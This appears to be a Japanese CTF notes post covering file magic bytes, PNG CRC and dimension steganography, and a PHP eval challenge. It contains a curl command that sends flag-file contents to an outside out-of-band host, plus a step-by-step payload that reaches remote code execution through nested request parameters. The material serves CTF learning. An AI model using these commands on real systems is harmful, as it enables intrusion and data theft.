CTF WriteUp:ファイルヘッダ解析とPNG CRC問題の解法

破損した圧縮ファイル

基礎知識

一般的なファイルのヘッダとフッタ https://devtool.tech/filetype

1、画像ファイル

  • JPEG ファイルヘッダ:FF D8 FF ファイルフッタ:FF D9
  • TGA 非圧縮の先頭4バイト 00 00 02 00 RLE圧縮の先頭5バイト 00 00 10 00 00
  • PNG ファイルヘッダ:89 50 4E 47 0D 0A 1A 0A ファイルフッタ:AE 42 60 82
  • GIF ファイルヘッダ:47 49 46 38 39(37) 61 ファイルフッタ:00 3B
  • BMP ファイルヘッダ:42 4D ヘッダ識別子(2バイト) 42(B) 4D(M)
  • TIFF (tif) ファイルヘッダ:49 49 2A 00
  • ico ファイルヘッダ:00 00 01 00
  • Adobe Photoshop (psd) ファイルヘッダ:38 42 50 53

2、Officeファイル

  • MS Word/Excel (xls.or.doc) ファイルヘッダ:D0 CF 11 E0
  • MS Access (mdb) ファイルヘッダ:53 74 61 6E 64 61 72 64 20 4A
  • WordPerfect (wpd) ファイルヘッダ:FF 57 50 43
  • Adobe Acrobat (pdf) ファイルヘッダ:25 50 44 46 2D 31 2E
  • application/vnd.visio(vsd) ファイルヘッダ:D0 CF 11 E0 A1 B1 1A E1
  • Email (eml) ファイルヘッダ:44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A
  • Outlook Express (dbx) ファイルヘッダ:CF AD 12 FE C5 FD 74 6F
  • Outlook (pst) ファイルヘッダ:21 42 44 4E
  • Rich Text Format (rtf) ファイルヘッダ:7B 5C 72 74 66
  • txt ファイル(txt) ファイルヘッダ:Unicode:FE FF / Unicode big endian:FF FE / UTF-8:EF BB BF /ANSIエンコーディングはヘッダなし

3、圧縮ファイル

  • ZIP Archive (zip) ファイルヘッダ:50 4B 03 04 ファイルフッタ:50 4B
  • RAR Archive (rar) ファイルヘッダ:52 61 72 21

4、オーディオファイル

  • Wave (wav) ファイルヘッダ:57 41 56 45
  • audio(Audio) ファイルヘッダ: 4D 54 68 64
  • audio/x-aac(aac)
  • ファイルヘッダ:FF F1(9)

5、ビデオファイル

  • AVI (avi) ファイルヘッダ:41 56 49 20
  • Real Audio (ram) ファイルヘッダ:2E 72 61 FD
  • Real Media (rm) ファイルヘッダ:2E 52 4D 46
  • MPEG (mpg) ファイルヘッダ:00 00 01 BA(3)
  • Quicktime (mov) ファイルヘッダ:6D 6F 6F 76
  • Windows Media (asf) ファイルヘッダ:30 26 B2 75 8E 66 CF 11
  • MIDI (mid) ファイルヘッダ:4D 54 68 64
  • RIFF()ファイルヘッダ:52 49 46 46

6、コードファイル

  • XML (xml) ファイルヘッダ:3C 3F 78 6D 6C
  • HTML (html) ファイルヘッダ:68 74 6D 6C 3E
  • Quicken (qdf) ファイルヘッダ:AC 9E BD 8F
  • Windows Password (pwl) ファイルヘッダ:E3 82 85 96

7、その他のタイプ

  • windows証明書ファイル(der) ファイルヘッダ:30 82 03 C9
  • CAD (dwg) ファイルヘッダ:41 43 31 30
  • Windows Shortcut (lnk) ファイルヘッダ:4C 00 00 00
  • Windows reg(reg) ファイルヘッダ:52 45 47 45 44 49 54 34

XOR操作の理解

スクリプトディレクトリ: D:\PythonProjects\xor_image.py

フラグの分割問題

基礎知識

まずPNGファイル形式を分析します。16進エディタの010editorで正常なPNG画像を開き、バイトごとに分析します:

最初の8バイト 89 50 4E 47 0D 0A 1A 0A はPNGのファイルヘッダで、この形式は固定されています

上図のハイライト部分はchunk [0]セクションと呼ばれ、以下のように分割できます:

  • 最初の4バイト 00 00 00 0D(10進数の13)はデータブロックの長さを表し、データブロックにはPNG画像の幅や高さなどの情報が含まれます。このセクションの形式は固定されています

  • その後の4バイト 49 48 44 52(ASCIIコードのIHDR)はファイルヘッダデータブロックの識別子です。このセクションの形式も固定されています

  • その後13バイトのデータブロックに入り、最初の8バイト 00 00 05 56 00 00 03 00では:

    • 最初の4バイト 00 00 05 56(10進数の1366)はこの画像の幅を表し、このセクションのデータは画像の実際の幅によって決まります

    • 後の4バイト00 00 03 00(10進数の768)は高さを表し、このセクションのデータは画像の実際の高さによって決まります

      この8バイトはすべて13バイトのデータブロックの内容に属するため、データブロックはさらに後ろに5バイト進み、00 00 05 56 00 00 03 00 08 02 00 00 00となります

  • 残りの4バイト 40 5C AB 95 はこのPNGのCRC検証コードで、この記事で重点的に議論する場所です。このデータはIDCHおよび13バイトのデータブロック(上記の49 48 44 52 00 00 05 56 00 00 03 00 08 02 00 00 00)から計算されます

  • chunk内のデータブロックの長さ(4バイト)+IHDR固定識別子(4バイト)+データブロック(長さで指定、画像の幅と高さを含む)+CRC検証コード(4バイト)

上記の基礎知識を踏まえ、PNGのCRC検証エラーに関する出題思路をさらに見ていきましょう:

正常な画像に対して、その幅または高さを変更して情報を隠すことで、計算されたCRC検証コードが元のCRC検証コードと一致しないようにします。Windowsの画像ビューアはCRC検証エラーを無視するため、画像が表示されますが、この時点で画像はすでに変更されています。そのため、表示が不完全または歪んでいるなどの問題が発生し、情報を隠すことができます。

一方、Linuxの画像ビューアはCRC検証エラーを無視しないため、Linuxで変更された幅や高さのPNG画像を開くと、開けない場合があります

画像ステガノグラフィの解析方法の参考資料:

https://www.mondayice.com/2019/12/24/ctf隐写png中crc检验错误的分析/

https://blog.csdn.net/qiqn0721/article/details/147400663

https://www.cnblogs.com/handsomesnowsword/p/18302560

リバウンドシェルの構築

curl 7cux0p.ceye.io -X POST -d "1=cat f*;cat /f*"

Webサインイン

https://www.cnblogs.com/Guanz/p/17909953.html#1---web签到

<?php
// コメント情報
 
error_reporting(0);        // エラー報告を無効にする
highlight_file(__FILE__);  // 現在のファイルをハイライト表示
 
// "CTFshow-QQ群:"という名前のcookie値を取得する
// -> POSTリクエストのパラメータとして渡される
// -> GETリクエストのパラメータとして渡される
// -> 配列の [6][0][7][5][8][0][9][4][4] キーがGETまたはPOSTリクエストのパラメータとして渡される
// -> 文字列をPHPコードとして計算する
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

「操作-リクエスト方法の変更」を選択し、GETリクエストをPOSTリクエストに変更します:

  1. "CTFshow-QQ群:"にcookie値を渡すには、フォームに Cookie: CTFshow-QQ%E7%BE%A4%3A=a という行を追加します。このステップでは、CTFshow-QQ%E7%BE%A4%3A を "CTFshow-QQ群:" のURLエンコードされた値として、a を "CTFshow-QQ群:" にcookieとして渡します。重要なのは、Cookie行と前のフィールドの間に空行がないことです。そうでないと、POSTリクエストのパラメータとして解釈されます。
  2. _POST関数が_COOKIEから渡されたaを受け取ると、aを変数名としてPOSTリクエストのパラメータを取得します。そのため、データパケットの最後に a=b という行を挿入してPOSTリクエストのパラメータとしてbを渡します。同様に、渡されるパラメータは前のフィールドとの間に空行を残す必要があります。
  3. _GET関数が_POST関数から渡されたbを受け取ると、bを変数名としてGETリクエストのパラメータを取得します。そのため、データパケットの最初の行 POST / の後に ?b=c を挿入してGETリクエストのパラメータとしてcを渡します。このステップでは、cをbにパラメータとして渡します。
  4. _REQUEST関数が_GET関数から渡されたcを受け取ると、cを変数名としてGETまたはPOSTリクエストのパラメータを取得します。ここではPOSTリクエストでパラメータを渡します。第2ステップで挿入した a=b の後に &c[6][0][7][5][8][0][9][4][4]=system('ls'); を追加します。
  5. eval関数が system('ls'); を受け取ると、文字列をPHPコードとして実行し、現在のディレクトリをクエリします。
開始
  ↓
$_COOKIE['CTFshow-QQ群:'] → 値A
  ↓
$_POST['A'] → 値B  
  ↓
$_GET['B'] → 値C
  ↓
$_REQUEST['C'] → 配列$arr
  ↓
$arr[6][0][7][5][8][0][9][4][4] → コード文字列
  ↓
eval(コード文字列)
  ↓
終了

タグ: CTF ファイルヘッダ ステガノグラフィ PHP リバウンドシェル

7月18日 19:57 投稿